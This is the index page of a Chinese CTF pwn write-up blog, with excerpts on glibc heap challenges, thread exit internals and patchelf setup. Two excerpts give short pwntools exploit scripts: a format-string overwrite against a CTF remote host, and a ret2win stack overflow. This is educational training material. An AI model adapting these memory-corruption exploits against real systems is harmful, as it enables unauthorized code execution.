我们联合,形成两面包夹芝士!
post @ 2024-06-04

0x00 前言

虽然说是新生赛,但是五道堆题估计真新生都被吓傻了。实际上题目限制非常宽松,也正好可以拿来总结各个常见版本glibc的基本特点。因为题目除了2.39之外都一样所以就先分析题目,再来看不同版本下的做法。

0x01 题目分析

阅读此文
post @ 2024-05-29

[第五空间2019 决赛]PWN5

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='i386', os='linux', log_level='debug')
# r = process('./pwn')
r = remote('node5.buuoj.cn', 29513)

payload = fmtstr_payload(10, {0x804C044: 0})
r.sendlineafter(b'your name:', payload)

r.sendline(b'0')
r.interactive()

jarvisoj_level2

阅读此文

概述

线程退出的时候,需要释放掉这个线程所占有的资源,并且停止内核和CPU对其的调度,才算是结束了这个线程。换句话说,线程退出需要用户层面和内核层面的共同工作。内核层面,glibc通过_exit()系统调用来终止线程,用户层面则通过exit()函数。在pwn中,系统调用很难被利用,我们通常重点关注exit函数。

源码分析

阅读此文

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+1Ch] [rbp-24h] BYREF
char buf[20]; // [rsp+20h] [rbp-20h] BYREF
unsigned int v6; // [rsp+34h] [rbp-Ch]
unsigned int v7; // [rsp+38h] [rbp-8h]
unsigned int seed; // [rsp+3Ch] [rbp-4h]

myinit(argc, argv, envp);
puts("please enter this challenge");
__isoc99_scanf("%d", &v4);
seed = time(0LL);
srand(seed);
v7 = rand();
v6 = v7 % 0x6E;
if ( v7 % 0x6E == v4 )
{
puts("Give you a gift");
gift();
puts("Do you know any address to write");
puts("Come and try it out");
read(0, buf, 0x2EuLL);
}
return 0;
}

main函数开头要我们绕过一个随机数检查才有输入点。gift函数会打印puts函数的libc地址,libc地址不请自来。接着read函数溢出14个字节,只能覆盖六个字节到ret地址,所以想要在这里写one gadget是不可能的了,因为libc地址占七个字节。

阅读此文
post @ 2024-04-28

0x00 前言

这新生赛难度新生打不了一点,这是让我这种菜鸡获得新生的比赛(但是AK了

0x01 hello_world(签到)

阅读此文
post @ 2024-04-07

0x01 ret2win32

x86架构的ret2text,非常简单,程序有栈溢出,没有canary保护,所以只要溢出覆盖ebp后,将ret地址覆盖为ret2win函数的地址即可。

1
2
3
4
5
6
7
8
from pwn import *
r = process('./ret2win32')

ret2win = 0x804862C

payload = b'a'*0x2c+p32(ret2win)
r.sendline(payload)
r.interactive()
阅读此文
post @ 2024-03-28

2016HCTF fheap

分析

这个程序是一个字符串管理器,程序只有两个功能,一个是create,一个是delete,有两个类似于结构体的变量,我们可以稍微优化一下伪代码。

阅读此文
post @ 2024-03-05

0x00 前言

pwnable的题挺好玩的,就是难度可能偏高,但是可以练基本功,知道自己的弱项在哪里,所以写WP来做刷题记录。

0x01 start

阅读此文

UnsortedBin

最近学习堆题的时候接触到了unsortedbin的利用,感觉还挺有意思的,所以先把它的源码读了,方便以后构建利用思路。之所以这里分析glibc2.23的代码而非2.35的代码,是因为从2.29开始,unsortedbin加入了一坨检查机制以至于它在高版本下难以被攻击,所以索性读低版本的了。

glibc2.23在unsortedbin中取chunk的时候的检查:

阅读此文

0x00 前言(patchelf的正确打开方式)

正好最近在学习堆入门,想起来去年还有newstar的题没复现完,所以干脆拿来当堆入门的练手了。但是在做完准备写wp用动调分析的时候遇到了一个问题。我的主力Linux是Ubuntu22,glibc版本是2.35,我学习堆也是从2.35开始往低版本对比学习,如果题目环境glibc不一样(一般都不一样,2.35版本太高了),则需要用patchelf来修改动态链接库以便gdb分析,但是按照网上的流程来patch怎么都不能成功。

1
$ patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ Double
阅读此文
⬆︎TOP